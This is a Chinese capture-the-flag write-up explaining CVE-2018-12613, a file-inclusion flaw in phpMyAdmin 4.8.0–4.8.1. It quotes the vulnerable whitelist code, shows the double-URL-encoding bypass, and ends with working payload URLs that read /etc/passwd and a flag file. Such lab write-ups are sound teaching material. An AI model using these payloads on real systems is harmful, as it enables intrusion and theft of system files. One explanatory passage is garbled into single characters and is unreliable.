BUUCTF_Web_[GWCTF 2019]我有一个数据库
该题考查cve-2018-12613-PhpMyadmin后台文件包含漏洞*
漏洞分析
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
影响版本
phpMyAdmin 4.8.0和4.8.1
漏洞原理
首先在index.php 50-63行代码
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
满足5个条件后就会include$_REQUEST['target']
的内容
$_REQUEST['target']
不为空$_REQUEST['target']
是字符串$_REQUEST['target']
不以index开头$_REQUEST['target']
不在$target_blacklist中
‘import.php’, ‘export.php’Core::checkPageValidity($_REQUEST['target'])
为真
代码在libraries\classes\Core.php 443-476行
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
如果$page在白名单中就会直接return true,但这里考虑到了可能带参数的情况,所以有了下面的判断
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
查找string在一个tring中首次出现的位置。基于字符数执行一个多字节安全的strpos()
操作。第一个字符的位置是0,第二个字符的位置是1,以此类推。
$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true
但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
所以传入二次编码后的内容,会让checkPageValidity()
这个函数返回true,但index中实际包含的内容却不是白名单中的文件
例如传入?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()
中,
p
a
g
e
的
值
一
开
始
会
是
‘
d
b
d
a
t
a
d
i
c
t
.
p
h
p
但
在
i
n
d
e
x
.
p
h
p
中
‘
page的值一开始会是`db_datadict.php%3f`,又一次url解码后变成了`db_datadict.php?`,这次便符合了`?`前内容在白名单的要求,函数返回true 但在index.php中`
page的值一开始会是‘dbdatadict.php但在index.php中‘_REQUEST[‘target’]仍然是
db_datadict.php%3f`,而且会被include,通过目录穿越,就可造成任意文件包含。
本题的问题在于urldecode($page)方法,存在二次编码绕过
$_page = urldecode($page);
%25的url编码为%
%3f的url编码为?
%253f-->?
payLoad:
这里target参数只要不是黑名单中php文件就可以
http://8621f981-8a23-4c89-b709-9391463bac26.node4.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwd
flag应该位于系统的根目录
http://8621f981-8a23-4c89-b709-9391463bac26.node4.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../flag